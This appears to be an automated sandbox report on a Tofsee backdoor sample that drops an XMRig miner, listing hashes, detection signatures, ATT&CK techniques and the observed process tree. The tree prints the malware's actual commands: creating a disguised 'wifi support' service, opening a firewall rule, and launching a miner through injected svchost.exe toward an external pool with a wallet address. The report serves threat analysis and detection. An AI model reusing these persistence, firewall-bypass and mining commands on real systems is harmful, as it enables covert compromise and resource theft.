Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    29-12-2020 07:36

General

  • Target

    075c88f8d6465ea8f45e633059d7cb03.exe

  • Size

    154KB

  • MD5

    075c88f8d6465ea8f45e633059d7cb03

  • SHA1

    4e664d06dd0b7bdc3bfaf43aeafabb4fe7e2ebb1

  • SHA256

    b94c5e2f0895241a0e9d81d6d8e2e4a0a24e248455cfb7b3d6566315359ea536

  • SHA512

    703e0c06b58589c885eb5a3e6bdb1c17ce21ad0c97501a82c485ba3b1eec2eaa056726d32699e09d68b34a88b60f50d164d7d60282632d5ce07654f773420bad

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\075c88f8d6465ea8f45e633059d7cb03.exe
    "C:\Users\Admin\AppData\Local\Temp\075c88f8d6465ea8f45e633059d7cb03.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:412
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\eifzjpux\
      2⤵
        PID:2840
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\keevgpgi.exe" C:\Windows\SysWOW64\eifzjpux\
        2⤵
          PID:3472
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create eifzjpux binPath= "C:\Windows\SysWOW64\eifzjpux\keevgpgi.exe /d\"C:\Users\Admin\AppData\Local\Temp\075c88f8d6465ea8f45e633059d7cb03.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3468
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description eifzjpux "wifi internet conection"
            2⤵
              PID:208
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start eifzjpux
              2⤵
                PID:2320
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3200
              • C:\Windows\SysWOW64\eifzjpux\keevgpgi.exe
                C:\Windows\SysWOW64\eifzjpux\keevgpgi.exe /d"C:\Users\Admin\AppData\Local\Temp\075c88f8d6465ea8f45e633059d7cb03.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3016
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1536
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3212

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\keevgpgi.exe
                MD5

                346940722ec9ce4949f1b65badecc014

                SHA1

                001ff880bb6be0cb2e7a143f25734b8870792a2e

                SHA256

                5e3e93c127d2403ecbff8e3feeccc099f9a0ec3cc08eac31854be4659295532e

                SHA512

                fa7e5135f693fad7f1ac69579cefa713c9735026101e00d61638670d8c15c0d5411d6d72bd83f1c7377d361c7a939a9f95e68378e949f61c4b1a0d7425802f65

              • C:\Windows\SysWOW64\eifzjpux\keevgpgi.exe
                MD5

                346940722ec9ce4949f1b65badecc014

                SHA1

                001ff880bb6be0cb2e7a143f25734b8870792a2e

                SHA256

                5e3e93c127d2403ecbff8e3feeccc099f9a0ec3cc08eac31854be4659295532e

                SHA512

                fa7e5135f693fad7f1ac69579cefa713c9735026101e00d61638670d8c15c0d5411d6d72bd83f1c7377d361c7a939a9f95e68378e949f61c4b1a0d7425802f65

              • memory/208-8-0x0000000000000000-mapping.dmp
              • memory/412-3-0x0000000005290000-0x0000000005291000-memory.dmp
                Filesize

                4KB

              • memory/412-2-0x0000000004E26000-0x0000000004E27000-memory.dmp
                Filesize

                4KB

              • memory/1536-16-0x00000000001B0000-0x00000000001C5000-memory.dmp
                Filesize

                84KB

              • memory/1536-17-0x0000000004250000-0x000000000445F000-memory.dmp
                Filesize

                2.1MB

              • memory/1536-18-0x00000000001E0000-0x00000000001E6000-memory.dmp
                Filesize

                24KB

              • memory/1536-15-0x00000000001B9A6B-mapping.dmp
              • memory/1536-14-0x00000000001B0000-0x00000000001C5000-memory.dmp
                Filesize

                84KB

              • memory/2320-9-0x0000000000000000-mapping.dmp
              • memory/2840-4-0x0000000000000000-mapping.dmp
              • memory/3016-12-0x00000000054B0000-0x00000000054B1000-memory.dmp
                Filesize

                4KB

              • memory/3016-11-0x0000000005081000-0x0000000005082000-memory.dmp
                Filesize

                4KB

              • memory/3200-13-0x0000000000000000-mapping.dmp
              • memory/3212-21-0x0000000002F6259C-mapping.dmp
              • memory/3212-19-0x0000000002ED0000-0x0000000002FC1000-memory.dmp
                Filesize

                964KB

              • memory/3468-7-0x0000000000000000-mapping.dmp
              • memory/3472-5-0x0000000000000000-mapping.dmp